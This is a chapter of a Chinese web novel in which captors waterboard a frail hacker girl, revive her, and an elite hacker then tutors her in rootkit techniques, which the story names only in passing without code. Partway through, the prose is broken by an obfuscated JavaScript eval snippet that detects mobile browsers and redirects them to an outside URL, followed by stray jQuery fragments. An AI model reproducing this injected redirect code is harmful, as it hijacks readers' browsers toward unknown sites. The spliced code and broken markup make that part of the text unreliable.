37. [Handshake] 握手 05

作品:《没头脑和不高兴

    【组织总部·地下五层·特别审讯室】


    这里是地狱的第十八层。


    没有窗户,只有冷得刺骨的空调风和刺眼的无影灯。


    墙壁是吸音材料,不管叫多大声,外面都听不见。


    袁问被绑在那张特制的金属审讯椅上。


    她穿着橘黄色的囚服,显得空荡荡的。手腕和脚踝细得像枯树枝,审讯椅的束缚带甚至扣不到底,还得垫两块海绵才能固定住。


    Auditor坐在单向玻璃后面,耳机里传来的声音让他想砸墙。


    审讯专家:“代码里还有什么?除了白名单,你还写了什么逻辑锁?”


    袁问眼神涣散,嘴角挂着诡异的笑:“嘿嘿……姐肯定跑掉了……那个路口没监控……”


    审讯专家,拍桌子:“回答问题!利维坦的底层协议被你改成了什么!”


    袁问一脸骄傲:“我是天才……真的……那个套娃防火墙很厉害吧?姐肯定会夸我了……”


    审讯专家崩溃:“谁问你姐了!问你代码!”


    袁问突然惊恐,随后又变成讨好:“别打脑子……打坏了姐会生气的……我要留着脑子干活……”


    Auditor摘下耳机,揉着突突直跳的太阳穴。


    “妈的。”


    “这丫头疯了。”


    “她的逻辑回路已经彻底闭环了。在她的世界里,只有‘姐’、‘干活’、‘我是好狗’这三个选项。”


    “常规审讯对她没用。她根本听不懂我们在问什么。”


    门开了。


    Knight走了进来。


    他脱掉了战术外套,卷起袖子,露出结实的肌肉。


    既然脑子坏了,那就从□□上找突破口。这是他最擅长的领域。


    他走到袁问面前,看着这个缩成一团的小东西。


    眼神冷漠,没有丝毫怜悯。


    “水刑。”


    Knight简短地下令。


    助手推过来一桶冰水,还有一条毛巾。


    Knight把椅子放倒。


    袁问没有挣扎,她只是呆呆地看着天花板,嘴里还在小声念叨着“姐没骂我”。


    毛巾盖在脸上。


    水倒了下去。


    按照Knight的经验,受刑者会在水里剧烈挣扎、呛水、最后因为缺氧而疯狂求饶。通常这个过程能持续30到60秒。


    Knight准备好了享受那种掌控生死的快感,准备好了在她在窒息边缘求饶时逼问情报。


    一秒。两秒。三秒。四秒。


    第五秒。


    并没有挣扎。


    袁问的身体猛地挺了一下,像是通了电的青蛙。


    然后,软了。


    Knight愣了一下。


    “装死?”


    他揭开毛巾。


    袁问的脸紫得发黑,眼睛翻白,嘴角吐出白沫。


    胸口……没动静了。


    Knight的瞳孔猛地收缩。


    他伸手去摸颈动脉。


    没跳。


    “操!!”


    Knight这辈子第一次在审讯室里发出了这种惊恐的吼声:


    “医疗队!!除颤仪!!快!!”


    “她停了!!这他妈就停了?!”


    这就是Knight职业生涯中最羞耻的一刻。


    他,死神小队的队长,令人闻风丧胆的清道夫。


    还没开始用力,甚至还没进入前戏。


    犯人就在他手里……碎了。


    ICU(重症监护室)。


    心电监护仪发出单调的“滴——滴——”声。


    袁问插着留置针,身上贴满了电极片,正在输液。


    Auditor和Knight站在玻璃窗外,脸色比里面的病人还难看。


    旁边站着一个穿着白大褂的老专家,正指着那份厚的像砖头一样的体检报告,在那儿直跺脚,指着Knight的鼻子骂:“你是猪吗?!”


    “严重的迷走神经反射!重度肺炎!心肌缺血!”


    “你把她往冰水里按?你这跟拿着手枪冲她脑门开枪有什么区别?!”


    “从现在开始,别说动刑了,你就是对着她大声说话,如果不小心吓着她,她都能再给你死一次看!”


    专家见骂的差不多了,收拾收拾情绪,指着报告上的红字:


    “严重的营养不良,BMI指数低到14。这就是个骷髅架子包层皮。”


    “电解质极度紊乱,低钾低钠,严重的低血糖。心肌酶谱异常。”


    “双肺重度感染,还有胸膜粘连。”


    “口腔里有陈旧性烫伤愈合后的瘢痕组织,导致吞咽困难。”


    Knight的嘴角抽动了一下。


    “最要命的是……”


    专家指了指那张脑部CT,语气绝望:


    “她的额叶皮层活跃度异常,那是长期处于极度恐惧和应激状态导致的器质性损伤。”


    “还有严重的解离症状。”


    “说人话!”Auditor吼道。


    “人话就是……”


    专家咽了口唾沫,给出了那个极其抽象的结论:


    “物理上,她是玻璃做的。”


    “她的痛阈值极低,身体代偿能力为零。只要你动刑,哪怕只是最轻微的电击,或者像刚才那样稍微缺氧几秒钟,她大概率会直接心衰猝死。”


    “精神上,她是浆糊做的。”


    “吐真剂对她没用。因为药物会进一步干扰她的神经递质,让她彻底分不清现实和幻想。您问她利维坦的后门密码,她可能会哭着求您给她一根火腿肠。”


    死寂。


    走廊里陷入了死一般的寂静。


    Auditor看着里面那个还在昏迷中时不时抽搐一下的女孩。


    他突然觉得很荒谬。


    他做梦也没想过,“无法选中”,这词能真的发生。


    这就是那个改写了利维坦底层逻辑、搞得满城风雨的顶级黑客?


    这分明就是一个一碰就碎的瓷娃娃。


    而且是个已经碎过一次、被强力胶勉强粘起来的次品。


    “那怎么办?”


    Knight咬着牙,拳头捏得咯咯响:


    “就在这儿养着?”


    “不仅要养着。”


    专家小心翼翼地补充道:


    “还得……供着。”


    “得给她输营养液,得给她治肺炎,得让她情绪稳定。”


    “必须得把她的身体机能和精神状态拉回到‘及格线’以上,让她能听懂人话,能承受压力。”


    “否则,那就是审一具尸体。”


    Auditor深吸一口气。


    他看着那个躺在洁白病床上、显得那么弱小无助、却又让他无计可施的女孩。


    他笑了。


    气极反笑。


    “行。”


    “真行。”


    Auditor转身,一脚踹翻了旁边的垃圾桶。


    “给我治!”


    “用最好的药!找最好的心理医生!”


    “给她单间!给她空调!给她火腿肠!”


    “把她给我捧在手心里供着!”


    “直到她能开口说话为止!”


    于是。


    在这个组织最森严、最恐怖的监狱里。


    出现了一个极其诡异的景象。


    那些穷凶极恶的重刑犯在隔壁哀嚎。


    而在最深处的VIP病房里。


    袁问穿着病号服,坐在软得像云彩一样的床上。


    手里拿着那个Knight咬牙切齿递进来的、加热过的火腿肠。


    她一边吃,一边看着窗外的铁栏杆。


    眼神清澈、愚蠢、且快乐。


    “嘿嘿……”


    “有肉吃。”


    “姐肯定在外面吃得更好。”


    她不知道自己是人质。


    她觉得自己是来享福的。


    这就是“玻璃大炮”的终极防御形态:


    因为太脆,所以无敌。


    因为太疯,所以免疫。


    Auditor站在监控室里,看着这一幕,手里那罐可乐无论如何也喝不下去了。


    他这辈子算计了无数人。


    最后,输给了一个傻子。


    “妈的。”


    Auditor骂了一句。


    “这他妈到底是谁在折磨谁?”


    三天后。


    ICU的大门开了。


    袁问已经能下地走路了。年轻人的恢复能力简直是个奇迹,除了肺还有点啰音,那张苍白的脸已经有了点血色。


    Knight站在门口,看着这个“瓷娃娃”,一脸的晦气。


    “赶紧弄走。”


    Knight对Auditor说:


    “这玩意儿放我这儿,我连呼吸都不敢大声,生怕把她吓死了。”


    “赶紧领走,别死我手里。”


    Auditor穿着他那身昂贵的高定西装,推了推鼻梁上的墨镜,看了一眼缩在床角的袁问。


    “行。”


    Auditor挥挥手:


    “这只……小动物,归我了。”


    地下三层,审计处。


    这里是整个组织最核心的数据中心,也是Auditor的私人领地。


    恒温22度,空气里弥漫着雪松香薰的味道,就连地板都干净得能照出人影。


    Auditor指了指角落里的一张桌子。


    上面放着一台顶配的笔记本,两个32寸的4K显示器,还有一把售价一万多的人体工学椅子。


    “坐那儿。”


    Auditor扔过去一听冰镇的可乐。


    “别乱跑,别乱摸。要是让我发现你试图联网发信号……”


    他做了一个抹脖子的动作。


    袁问没说话。


    她乖乖地走过去,找了块地坐下。


    她看着面前那台亮着的电脑。


    没有联网。这是一个由于物理隔离的本地环境。


    但是硬盘里装满了Auditor收藏多年的顶级代码库、最新的漏洞复现环境、以及无数珍贵的内部白皮书。


    这对于黑客来说,不是监狱。


    这是天堂。


    Auditor本来以为,这孩子会哭,会闹,或者会像之前那样发呆。


    但他错了。


    当袁问的手指触碰到键盘的那一刻。


    那个看起来呆滞、迟钝、唯唯诺诺的精神残疾,瞬间消失了。


    啪嗒。


    那是回车键的声音。


    她打开了终端。


    熟练地调出了编译器。


    然后,她开始……学习。


    Auditor坐在主控台后面,透过墨镜观察着她。


    他原本是想监视她有没有搞鬼。


    结果他看了整整三个小时。


    那孩子就像是一台通了电的机器。


    不喝水,不抬头,不上厕所。


    她在疯狂地阅读那些Auditor硬盘里的资料,然后在本地环境里复现、拆解、重构。


    “……怪物。”


    Auditor喃喃自语。


    他突然产生了一种深深的困惑。


    “亓默到底是怎么训练她的?”


    在袁问的逻辑里:


    只要我不死->我就要变强->变强了才能帮姐->所以我要学。


    这是一个不需要督促的死循环。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068534|195178||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>到了饭点。


    Auditor看了看表,又看了看还在敲代码的袁问。


    他有点烦躁。


    这孩子不吃饭,万一饿晕在我的地盘上,还得叫救护车,太麻烦了。


    他拉开抽屉。


    里面是他从世界各地搜罗来的顶级零食:


    比利时的手工黑巧、日本的高级饼干、还有那种几百块一盒的坚果塔。


    Auditor抓了一大把,像喂猫一样,扔到了袁问的桌子上。


    “喂。吃点。”


    袁问的手停了一下。


    她看着那些包装精美的零食。


    如果是以前,她可能会问“多少钱”,或者小心翼翼地藏起来。


    但现在,她的逻辑变了。


    这是敌人的物资。


    吃敌人的,就是省自己的。


    省下自己的,以后就能留给姐。


    于是,Auditor不断目睹让他震惊的一幕。


    那个瘦小的女孩,没有任何客气,甚至连一句“谢谢”都没有。


    她撕开包装,塞进嘴里。


    咔嚓咔嚓。


    像是粉碎机一样。


    那一盒几百块的巧克力,她一口气全吃了。


    那一罐几十刀的坚果,她连渣都倒进嘴里了。


    吃完,她把包装纸整整齐齐地叠好,放在一边。


    然后擦擦手,继续敲代码。


    “……”


    Auditor嘴角抽搐。


    “你是饿死鬼投胎吗?”


    “那可是高级进口的巧克力……你当压缩饼干吃?”


    袁问没理他。


    甚至没看他一眼。


    在她的世界里,Auditor只是个负责刷新物资的NPC,或者是一个提供卡路里的自动贩卖机。


    Auditor觉得无聊了。


    他试图跟这个“宠物”聊聊天。


    “喂,小孩。”


    Auditor转过椅子,翘起二郎腿:


    “你姐把你扔了,你知道吗?”


    袁问:敲代码。


    “你做的那个‘套娃防火墙’,思路挺野的。谁教你的?”


    袁问:敲代码。


    “这里环境不错吧?跟着我干怎么样?我这儿零食管够。”


    袁问:敲代码。


    Auditor怒了。


    这种被无视的感觉让他很不爽。


    他站起来,走到袁问身后,看了一眼她的屏幕。


    屏幕上,袁问正在写一段内核级的Rootkit。


    但是卡住了。


    她在纠结如何绕过最新的Linux内存保护机制(ASLR)。


    Auditor扫了一眼,职业病犯了。


    他忍不住嗤笑了一声:


    “蠢。”


    “你这么写,指针一偏移,系统直接内核恐慌。”


    “你应该用ROP面向返回编程链,借用系统自带的函数去跳转。”


    这一句话。


    比任何审讯技巧都管用。


    袁问的手猛地停住了。


    她转过头,那双原本死寂的眼睛里,突然迸发出了一种吓人的光芒。


    她死死盯着Auditor。


    “怎么做?”


    这是她进这个房间以来,说的第一句话。


    声音沙哑,但清晰。


    Auditor愣了一下。


    随后,他笑了。


    那是一种找到了同类的、带着几分傲慢和几分兴奋的笑。


    “起开。”


    Auditor一屁股挤开袁问,手指在键盘上飞舞:


    “看好了,菜鸟。”


    “这种级别的钩子Hook,要这么写……”


    接下来的一个小时。


    审讯室变成了“大师课”。


    Auditor原本只是想炫技。


    但他惊讶地发现,这孩子是真的能听懂。


    不仅能听懂,她甚至能举一反三。


    她的基础虽然野,但她的直觉准得可怕。她就像一块干枯的海绵,贪婪地吸收着Auditor抛出来的每一个高级技巧。


    “这里……能不能用堆喷射?”袁问突然指着一行代码问。


    Auditor眼睛一亮:


    “嚯。”


    “可以啊。”


    “有点灵性。不是以前那个只会用nmap的脚本小子了。”


    他看着袁问那张专注的脸。


    心里突然升起一种诡异的成就感。


    这孩子……是块好料子。


    比手底下那群只会写文档的废物强多了。


    “行了。”


    Auditor讲完一段,站起身,把那一罐还没喝完的可乐推给袁问。


    “自己悟去吧。”


    袁问接过可乐,仰头灌下。


    “嗝。”


    然后转头继续敲,完全没有要跟Auditor寒暄的意思。


    Auditor看着她,摇了摇头。


    “真是个白眼狼。”


    但他坐回自己的位置上时,并没有生气。


    他看着监控屏幕里那个瘦小的背影,从抽屉里又拿出了一盒更贵的饼干,扔了过去。


    “吃吧。”


    “吃饱了,才有力气学。”


    Auditor只是太寂寞了。


    在这个高处不胜寒的技术巅峰,能遇到一个听得懂他在说什么、并且还能跟上他思路的“学生”,也是一种乐趣。


    至于这个学生以后会不会反咬一口?


    Auditor不在乎。


    他自信自己是神。


    而袁问,只是他养在笼子里的一只,稍微聪明点的仓鼠。